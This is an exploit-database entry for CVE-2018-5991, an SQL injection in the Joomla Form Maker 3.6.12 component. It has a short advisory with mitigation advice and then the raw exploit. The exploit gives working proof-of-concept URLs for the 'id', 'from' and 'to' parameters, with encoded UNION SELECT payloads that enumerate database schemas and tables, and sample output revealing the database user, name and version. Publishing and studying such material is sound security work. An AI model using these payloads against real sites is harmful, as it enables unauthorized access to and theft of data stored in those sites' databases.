Joomla! Component Form Maker 3.6.12 - SQL Injection

vendor:

Form Maker

by:

Ihsan Sencan

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Form Maker

Affected Version From: 3.6.12

Affected Version To: 3.6.12

Patch Exists: YES

Related CWE: CVE-2018-5991

CPE: a:web-dorado:form_maker:3.6.12

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Joomla! Component Form Maker 3.6.12 – SQL Injection

Joomla! Component Form Maker 3.6.12 is vulnerable to SQL Injection. An attacker can exploit this vulnerability to gain access to sensitive information stored in the database. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'id' and 'from' parameters of the 'index.php' script. An attacker can send a maliciously crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in the context of the web application. This can allow the attacker to access or modify data in the back-end database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL commands that are passed to the database. It is also recommended to use parameterized queries to prevent SQL injection.

Source

Exploit-DB raw data:

# # # #
# Exploit Title: Joomla! Component Form Maker 3.6.12 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://demo.web-dorado.com/
# Software Link: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/form-maker/
# Version: 3.6.12
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5991
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&id=[SQL]
#  
# JTMxJTI3JTIwJTIwJTU1JTRlJTQ5JTRmJTRlJTIwJTQxJTRjJTRjJTIwJTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTQ3JTUyJTRmJTU1JTUwJTVmJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTczJTYzJTY4JTY1JTZkJTYxJTVmJTZlJTYxJTZkJTY1JTIwJTUzJTQ1JTUwJTQxJTUyJTQxJTU0JTRmJTUyJTIwJTMwJTc4JTMzJTYzJTM2JTMyJTM3JTMyJTMzJTY1JTI5JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUzJTQzJTQ4JTQ1JTRkJTQxJTU0JTQxJTI5JTJkJTJkJTIwJTJkJTIw
# 
# 2)
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&form_id=1&id=1&from=[SQL]
#  
# JTIwJTYzJTZmJTc1JTZlJTc0JTI4JTJhJTI5JTY2JTcyJTZmJTZkJTI4JTY5JTZlJTY2JTZmJTcyJTZkJTYxJTc0JTY5JTZmJTZlJTVmJTczJTYzJTY4JTY1JTZkJTYxJTJlJTYzJTZmJTZjJTc1JTZkJTZlJTczJTI5JTc3JTY4JTY1JTcyJTY1JTQwJTNhJTNkJTY1JTc4JTcwJTZmJTcyJTc0JTVmJTczJTY1JTc0JTI4JTM1JTJjJTY1JTc4JTcwJTZmJTcyJTc0JTVmJTczJTY1JTc0JTI4JTM1JTJjJTQwJTJjJTc0JTYxJTYyJTZjJTY1JTVmJTZlJTYxJTZkJTY1JTJjJTMwJTc4JTMzJTYzJTM2JTYzJTM2JTM5JTMzJTY1JTJjJTMyJTI5JTJjJTYzJTZmJTZjJTc1JTZkJTZlJTVmJTZlJTYxJTZkJTY1JTJjJTMwJTc4JTYxJTMzJTYxJTJjJTMyJTI5JTI5JTJjJTQwJTJjJTMyJTI5JTI5JTJkJTJkJTIwJTJkJTIw
# 
# 3)
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&form_id=1&id=1&to=[SQL]
#  
# JTMxJTI3JTIwJTIwJTU1JTRlJTQ5JTRmJTRlJTIwJTQxJTRjJTRjJTIwJTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTQ3JTUyJTRmJTU1JTUwJTVmJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTc0JTYxJTYyJTZjJTY1JTVmJTZlJTYxJTZkJTY1JTIwJTUzJTQ1JTUwJTQxJTUyJTQxJTU0JTRmJTUyJTIwJTMwJTc4JTMzJTYzJTM2JTMyJTM3JTMyJTMzJTY1JTI5JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTU0JTQxJTQyJTRjJTQ1JTUzJTIwJTU3JTQ4JTQ1JTUyJTQ1JTIwJTU0JTQxJTQyJTRjJTQ1JTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTNkJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTI5JTJkJTJkJTIwJTJk
# 
# # # #





1
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&id=1'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+- 
root@localhost : joomla375 : 10.1.21-MariaDB

2
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&form_id=1&id=1&from=1%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%20
root@localhost : joomla375 : 10.1.21-MariaDB

3
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&form_id=1&id=1&to=1%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%20
root@localhost : joomla375 : 10.1.21-MariaDB